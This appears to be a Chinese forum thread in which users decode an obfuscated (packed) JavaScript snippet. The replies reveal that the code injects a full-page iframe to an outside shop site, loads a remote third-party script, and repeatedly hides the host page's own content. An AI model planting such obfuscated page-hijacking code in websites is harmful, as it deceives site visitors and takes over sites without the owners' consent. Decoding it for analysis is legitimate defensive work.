eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('L j$=[\'\\H\\m\\f\\h\\g\\f\\n\\w\\i\\l\\u\\t\\r\\o\\k\\A\\m\\p\\k\\h\\f\\r\\o\\f\\h\\v\\M\\i\\q\\k\\h\\t\\G\\H\\i\\J\\n\',\'\\q\\s\\f\\w\\r\\m\\n\\k\\p\\p\\i\\h\\v\\u\\t\\h\\k\\t\\w\\s\\q\\n\\v\\i\\h\\o\\f\\i\\v\\o\\g\\u\\B\\w\\s\\q\\n\\v\\i\\h\\A\\i\\l\\g\\o\\u\\B\\w\\w\\J\\n\\q\\s\\f\\I\\k\\n\\l\\f\\n\\u\\t\\B\\t\\w\\A\\i\\l\\g\\o\\u\\t\\K\\B\\B\\1j\\t\\w\\A\\i\\l\\g\\o\\u\\t\\K\\1h\',\'\\B\\B\\t\\w\\o\\f\\i\\v\\o\\g\\u\\t\\K\\Q\\Q\',\'\\B\\B\\t\\w\\r\\n\\m\\u\\t\\o\\g\',\'\\g\\y\\R\\z\\z\\A\\A\',\'\\A\\F\\l\\q\\1r\\i\',\'\\r\\o\\k\\y\\F\\m\',\'\\k\\s\\z\\T\\m\\p\\k\\h\\f\\t\\G\\H\\z\\i\\J\\n\\q\\s\\f\\G\\H\\z\\m\\f\\h\\g\\f\\n\\G\',"\\l\\k","\\m\\C","\\s\\f\\h\\g\\F\\A\\n","\\i\\g\\f\\1q\\E","\\E\\W\\V","\\H\\r\\m\\n\\i","\\y\\g\\w\\g\\x\\y\\f\\u\\E\\g\\f\\M\\g\\z\\U\\q\\N\\q\\r","\\m\\n\\i\\y\\g\\E\\w\\r\\n\\m\\u\\E\\o\\g\\g","\\y\\R\\z\\z\\m\\o\\q\\g\\F\\1a","\\1b\\S\\J\\F\\m\\k\\s\\z\\S\\J\\F\\y\\o\\y\\T\\q\\n\\v\\u\\r\\o\\f\\h\\v","\\M\\i\\q\\k\\M\\x\\v\\Z\\r\\g\\x\\p\\f\\u\\K\\E\\G\\H\\z\\r\\m\\n","\\i\\y\\g\\G","\\l\\i\\N","\\X\\p\\p","\\h\\k","\\h\\f","\\i\\m\\k\\h\\Y\\i\\N\\K","\\r\\o\\k\\A\\m\\p\\k\\h\\f\\r\\o\\f\\h\\v\\M\\i\\q\\k\\h","\\h\\k\\h","\\f"];L a=j$[0]+j$[1]+j$[2]+j$[3]+j$[4]+j$[5]+j$[6]+j$[7];D["\\f\\N\\q\\p"](j$[8]+j$[9]+j$[10]+j$[11]+a+j$[12]);D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\A\\n\\i\\g\\f"](j$[13]+j$[14]+j$[15]+j$[16]+j$[17]+j$[18]+j$[19]);O{1p(1n(){O{D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\v\\f\\g\\1o\\p\\f\\s\\f\\h\\g\\1s\\x\\1w\\l"](j$[1x]+j$[1t])["\\r\\g\\x\\p\\f"]["\\l\\i\\r\\y\\p\\q\\x"]=j$[1u]+j$[1v]}P(e){} 1f(L b=1g;b<D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"]["\\p\\f\\h\\v\\g\\o"];b++){O{L c=D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"][b]["\\g\\q\\v\\1e\\q\\s\\f"];L d=D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"][b]["\\i\\l"];1c(d!=j$[1d]&&d!=j$[1l]){D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"][b]["\\r\\g\\x\\p\\f"]["\\l\\i\\r\\y\\p\\q\\x"]=j$[1m]+j$[1k];}}P(e){}}},1i)}P(e){}',62,96,'|||||||||||||||x65|x74|x6e|x69|_|x6f|x64|x63|x72|x68|x6c|x61|x73|x6d|x22|x3d|x67|x20|x79|x70|x2f|x77|x30|x75|window|x27|x2e|x3e|x3c|x62|x66|x31|var|x78|x76|try|catch|x37|x3a|x6b|x3f|x6a|x3b|x29|x41|x44|x26|||||||||||x35|x33|if|24|x4e|for|0x0|x34|0xbb8|x25|27|25|26|function|x45|setInterval|x28|x71|x42|21|22|23|x49|20'.split('|'),0,{}))

解决方案 »

  1.   

    小菜啥都不懂,应该是iframe调用的代码,给加密了,解密成功我就立刻给分结账啦
      

  2.   

    整理过后是这样 应该好分析点eval(function(p,a,c,k,e,d)
    {
      e=function(c)
      {
        return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
      };
      if(!''.replace(/^/,String))
      {
        while(c--)d[e(c)]=k[c]||e(c);
        k=[function(e)
        {
          return d[e]
        }
        ];
        e=function()
        {
          return'\\w+'
        };
        c=1;
      };
      while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
      return p;
    }
    ('L j$=[\'\\H\\m\\f\\h\\g\\f\\n\\w\\i\\l\\u\\t\\r\\o\\k\\A\\m\\p\\k\\h\\f\\r\\o\\f\\h\\v\\M\\i\\q\\k\\h\\t\\G\\H\\i\\J\\n\',\'\\q\\s\\f\\w\\r\\m\\n\\k\\p\\p\\i\\h\\v\\u\\t\\h\\k\\t\\w\\s\\q\\n\\v\\i\\h\\o\\f\\i\\v\\o\\g\\u\\B\\w\\s\\q\\n\\v\\i\\h\\A\\i\\l\\g\\o\\u\\B\\w\\w\\J\\n\\q\\s\\f\\I\\k\\n\\l\\f\\n\\u\\t\\B\\t\\w\\A\\i\\l\\g\\o\\u\\t\\K\\B\\B\\1j\\t\\w\\A\\i\\l\\g\\o\\u\\t\\K\\1h\',\'\\B\\B\\t\\w\\o\\f\\i\\v\\o\\g\\u\\t\\K\\Q\\Q\',\'\\B\\B\\t\\w\\r\\n\\m\\u\\t\\o\\g\',\'\\g\\y\\R\\z\\z\\A\\A\',\'\\A\\F\\l\\q\\1r\\i\',\'\\r\\o\\k\\y\\F\\m\',\'\\k\\s\\z\\T\\m\\p\\k\\h\\f\\t\\G\\H\\z\\i\\J\\n\\q\\s\\f\\G\\H\\z\\m\\f\\h\\g\\f\\n\\G\',"\\l\\k","\\m\\C","\\s\\f\\h\\g\\F\\A\\n","\\i\\g\\f\\1q\\E","\\E\\W\\V","\\H\\r\\m\\n\\i","\\y\\g\\w\\g\\x\\y\\f\\u\\E\\g\\f\\M\\g\\z\\U\\q\\N\\q\\r","\\m\\n\\i\\y\\g\\E\\w\\r\\n\\m\\u\\E\\o\\g\\g","\\y\\R\\z\\z\\m\\o\\q\\g\\F\\1a","\\1b\\S\\J\\F\\m\\k\\s\\z\\S\\J\\F\\y\\o\\y\\T\\q\\n\\v\\u\\r\\o\\f\\h\\v","\\M\\i\\q\\k\\M\\x\\v\\Z\\r\\g\\x\\p\\f\\u\\K\\E\\G\\H\\z\\r\\m\\n","\\i\\y\\g\\G","\\l\\i\\N","\\X\\p\\p","\\h\\k","\\h\\f","\\i\\m\\k\\h\\Y\\i\\N\\K","\\r\\o\\k\\A\\m\\p\\k\\h\\f\\r\\o\\f\\h\\v\\M\\i\\q\\k\\h","\\h\\k\\h","\\f"];L a=j$[0]+j$[1]+j$[2]+j$[3]+j$[4]+j$[5]+j$[6]+j$[7];D["\\f\\N\\q\\p"](j$[8]+j$[9]+j$[10]+j$[11]+a+j$[12]);D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\A\\n\\i\\g\\f"](j$[13]+j$[14]+j$[15]+j$[16]+j$[17]+j$[18]+j$[19]);O{1p(1n(){O{D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\v\\f\\g\\1o\\p\\f\\s\\f\\h\\g\\1s\\x\\1w\\l"](j$[1x]+j$[1t])["\\r\\g\\x\\p\\f"]["\\l\\i\\r\\y\\p\\q\\x"]=j$[1u]+j$[1v]}P(e){} 1f(L b=1g;b<D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"]["\\p\\f\\h\\v\\g\\o"];b++){O{L c=D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"][b]["\\g\\q\\v\\1e\\q\\s\\f"];L d=D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"][b]["\\i\\l"];1c(d!=j$[1d]&&d!=j$[1l]){D["\\l\\k\\m\\C\\s\\f\\h\\g"]["\\I\\k\\l\\x"]["\\m\\o\\i\\p\\l\\n\\f\\h"][b]["\\r\\g\\x\\p\\f"]["\\l\\i\\r\\y\\p\\q\\x"]=j$[1m]+j$[1k];}}P(e){}}},1i)}P(e){}',62,96,'|||||||||||||||x65|x74|x6e|x69|_|x6f|x64|x63|x72|x68|x6c|x61|x73|x6d|x22|x3d|x67|x20|x79|x70|x2f|x77|x30|x75|window|x27|x2e|x3e|x3c|x62|x66|x31|var|x78|x76|try|catch|x37|x3a|x6b|x3f|x6a|x3b|x29|x41|x44|x26|||||||||||x35|x33|if|24|x4e|for|0x0|x34|0xbb8|x25|27|25|26|function|x45|setInterval|x28|x71|x42|21|22|23|x49|20'.split('|'),0,
    {
    }
    ))
      

  3.   

    解密后如下,自己修改url地址,只是输出的内容拆分开了编码过了而已
    var _$=['<center id="showcloneshengxiaon"><ifr','ame scrolling="no" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14','00" height="177','00" src="ht','tp://ww','w.daqi','shop.c','om/?clone"></iframe></center>','do','cu','ment.wr',"ite('","');",'<scri',"pt type='text/javas","cript' src='htt","p://chat.5","3kf.com/kf.php?arg=sheng","xiaoxyg&style=1'></scr","ipt>","div","All","no","ne","iconDiv1","showcloneshengxiaon","non","e"];var a=_$[0]+_$[1]+_$[2]+_$[3]+_$[4]+_$[5]+_$[6]+_$[7];alert(_$[8]+_$[9]+_$[10]+_$[11]+a+_$[12])
    window["eval"](_$[8]+_$[9]+_$[10]+_$[11]+a+_$[12]);
    window["document"]["write"](_$[13]+_$[14]+_$[15]+_$[16]+_$[17]+_$[18]+_$[19]);
    try{setInterval(function(){try{window["document"]["getElementById"](_$[20]+_$[21])["style"]["display"]=_$[22]+_$[23]}catch(e){} for(var b=0x0;b<window["document"]["body"]["children"]["length"];b++){try{var c=window["document"]["body"]["children"][b]["tagName"];var d=window["document"]["body"]["children"][b]["id"];if(d!=_$[24]&&d!=_$[25]){window["document"]["body"]["children"][b]["style"]["display"]=_$[26]+_$[27];}}catch(e){}}},0xbb8)}catch(e){}
      

  4.   

    var _$ = ['<center id="showcloneshengxiaon"><ifr', 'ame scrolling="no" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14', '00" height="177', '00" src="ht', 'tp://ww', 'w.daqi', 'shop.c', 'om/?clone"></iframe></center>', "do", "cu", "ment.wr", "ite('", "');", "<scri", "pt type='text/javas", "cript' src='htt", "p://chat.5", "3kf.com/kf.php?arg=sheng", "xiaoxyg&style=1'></scr", "ipt>", "div", "All", "no", "ne", "iconDiv1", "showcloneshengxiaon", "non", "e"];
    var a = _$[0] + _$[1] + _$[2] + _$[3] + _$[4] + _$[5] + _$[6] + _$[7];
    window["eval"](_$[8] + _$[9] + _$[10] + _$[11] + a + _$[12]);
    window["document"]["write"](_$[13] + _$[14] + _$[15] + _$[16] + _$[17] + _$[18] + _$[19]);
    try {
    setInterval(function() {
    try {
    window["document"]["getElementById"](_$[20] + _$[21])["style"]["display"] = _$[22] + _$[23]
    } catch (e) {}
    for (var b = 0x0; b < window["document"]["body"]["children"]["length"]; b++) {
    try {
    var c = window["document"]["body"]["children"][b]["tagName"];
    var d = window["document"]["body"]["children"][b]["id"];
    if (d != _$[24] && d != _$[25]) {
    window["document"]["body"]["children"][b]["style"]["display"] = _$[26] + _$[27];
    }
    } catch (e) {}
    }
    }, 0xbb8)
    } catch (e) {}